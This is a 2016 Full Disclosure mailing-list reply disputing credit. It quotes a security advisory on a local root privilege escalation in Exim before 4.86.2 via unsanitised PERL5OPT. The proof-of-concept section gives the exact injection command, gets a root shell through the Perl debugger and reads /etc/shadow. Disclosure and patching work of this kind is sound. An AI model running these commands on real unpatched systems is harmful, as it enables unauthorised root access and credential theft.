Date: Sat, 12 Mar 2016 14:47:11 -0600
From: loon <loon@...unix.org>
To: Dawid Golunski <dawid@...alhackers.com>
Cc: fulldisclosure@...lists.org
Subject: Re: [FD] Exim < 4.86.2 Local Root Privilege Escalation

Since when does reverse engineering a patch make you the discoverer of the patched exploit?

this is silly to take credit for.


> On Mar 10, 2016, at 11:20, Dawid Golunski <dawid@...alhackers.com> wrote:
> 
> Advisory URL:
> http://legalhackers.com/advisories/Exim-Local-Root-Privilege-Escalation.txt
> 
> =============================================
> - Release date: 10.03.2016
> - Discovered by: Dawid Golunski
> - Severity: High/Critical
> =============================================
> 
> 
> I. VULNERABILITY
> -------------------------
> 
> Exim < 4.86.2        Local Root Privilege Escalation
> 
> 
> II. BACKGROUND
> -------------------------
> 
> "Exim is a message transfer agent (MTA) developed at the University of
> Cambridge for use on Unix systems connected to the Internet. It is freely
> available under the terms of the GNU General Public Licence. In style it is
> similar to Smail 3, but its facilities are more general. There is a great
> deal of flexibility in the way mail can be routed, and there are extensive
> facilities for checking incoming mail. Exim can be installed in place of
> Sendmail, although the configuration of Exim is quite different."
> 
> http://www.exim.org/
> 
> 
> III. INTRODUCTION
> -------------------------
> 
> When Exim installation has been compiled with Perl support and contains a
> perl_startup configuration variable it can be exploited by malicious local
> attackers to gain root privileges.
> 
> IV. DESCRIPTION
> -------------------------
> 
> The vulnerability stems from Exim in versions below 4.86.2 not performing
> sanitization of the environment before loading a perl script defined
> with perl_startup setting in exim config.
> 
> perl_startup is usually used to load various helper scripts such as
> mail filters, gray listing scripts, mail virus scanners etc.
> 
> For the option to be supported, exim must have been compiled with Perl
> support, which can be verified with:
> 
> [dawid@...tos7 ~]$ exim -bV -v | grep i Perl
> Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL
> Content_Scanning DKIM Old_Demime PRDR OCSP
> 
> 
> To perform the attack, attacker can take advantage of the exim's sendmail
> interface which links to an exim binary that has an SUID bit set on it by
> default as we can see below:
> 
> [dawid@...tos7 ~]$ ls -l /usr/sbin/sendmail.exim
> lrwxrwxrwx. 1 root root 4 Nov 30 00:45 /usr/sbin/sendmail.exim -> exim
> 
> [dawid@...tos7 ~]$ ls -l /usr/sbin/exim
> -rwsr-xr-x. 1 root root 1222416 Dec  7  2015 /usr/sbin/exim
> 
> 
> Normally, when exim sendmail interface starts up, it drops its root
> privileges before giving control to the user (i.e entering mail contents for
> sending etc), however an attacker can make use of the following command line
> parameter which is available to all users:
> 
> -ps    This  option  applies when an embedded Perl interpreter is linked with
>       Exim. It overrides the setting of the perl_at_start option, forcing the
>       starting of the interpreter to occur as soon as Exim is started.
> 
> 
> As we can see from the documentation at:
> 
> http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html
> 
> the perl_at_start option does the following:
> 
> "Setting perl_at_start (a boolean option) in the configuration requests a
> startup when Exim is entered."
> 
> Therefore it is possible to force the execution of the perl_startup script
> defined in the Exim's main config before exim drops its root privileges.
> 
> 
> To exploit this setting and gain the effective root privilege of the
> SUID binary,
> attackers can inject PERL5OPT perl environment variable, which does not get
> cleaned by affected versions of Exim.
> 
> As per perl documntation, the environment variable allows to set perl
> command-line
> options (switches). Switches in this variable are treated as if they
> were on every
> Perl command line.
> 
> There are several interesting perl switches that that could be set by
> attackers to
> trigger code execution.
> One of these is -d switch which forces perl to enter an interactive debug mode
> in which it is possible to take control of the perl application.
> 
> An example proof of concept exploitation using the -d switch can be found below.
> 
> 
> V. PROOF OF CONCEPT
> -------------------------
> 
> [dawid@...tos7 ~]$ head /etc/exim/exim.conf
> ######################################################################
> #                  Runtime configuration file for Exim               #
> ######################################################################
> 
> # Custom filtering via perl
> perl_startup = do '/usr/share/exim4/exigrey.pl'
> 
> [dawid@...tos7 ~]$ exim -bV -v | grep -i Perl
> Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers
> OpenSSL Content_Scanning DKIM Old_Demime PRDR OCSP
> 
> [dawid@...tos7 ~]$ PERL5OPT="-d/dev/null" /usr/sbin/sendmail.exim -ps
> victim@...alhost
> 
> Loading DB routines from perl5db.pl version 1.37
> Editor support available.
> 
> Enter h or 'h h' for help, or 'man perldebug' for more help.
> 
> Debugged program terminated.  Use q to quit or R to restart,
>  use o inhibit_exit to avoid stopping after program termination,
>  h q, h R or h o to get additional info.
> 
>  DB<1> p system("id");
> uid=0(root) gid=10(wheel) groups=0(root)
> context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
> 0
>  DB<2> p system("head /etc/shadow");
> root:$5$afgjO3wQeqHpAYF7$TmL0[...]AYAAvbA:16682:0:99999:7:::
> bin:*:16372:0:99999:7:::
> daemon:*:16372:0:99999:7::
> [...]
> 
> 
> VI. BUSINESS IMPACT
> -------------------------
> 
> This vulnerability could be exploited by attackers who have local access to the
> system to escalate their privileges to root which would allow them to fully
> compromise the system.
> 
> VII. SYSTEMS AFFECTED
> -------------------------
> 
> Exim versions before the latest patched version of Exim 4.86.2 are be
> affected by this vulnerability, if Exim was compiled with Perl
> support and the main configuration file (i.e /etc/exim/exim.conf or
> /etc/exim4/exim.conf), contains a perl_startup option e.g:
> 
> perl_startup = do '/usr/share/exim4/exigrey.pl'
> 
> It is important to note that the file does not necessarily have to exist
> to exploit the vulnerability. Although the path must be specified.
> 
> 
> VIII. SOLUTION
> -------------------------
> 
> Update to Exim 4.86.2 which contains the official patch that fixes the
> environment sanitization issues.
> 
> IX. REFERENCES
> -------------------------
> 
> http://legalhackers.com/advisories/Exim-Local-Root-Privilege-Escalation.txt
> 
> http://www.exim.org/
> http://www.exim.org/static/doc/CVE-2016-1531.txt
> http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html
> 
> X. ADVISORY CREATED BY
> -------------------------
> 
> This advisory has been created by Dawid Golunski
> dawid (at) legalhackers (dot) com
> legalhackers.com
> 
> XI. REVISION HISTORY
> -------------------------
> 
> March 10th, 2016:  Advisory released
> 
> XII. LEGAL NOTICES
> -------------------------
> 
> The information contained within this advisory is supplied "as-is" with
> no warranties or guarantees of fitness of use or otherwise. I accept no
> responsibility for any damage caused by the use or misuse of this information.
> 
> _______________________________________________
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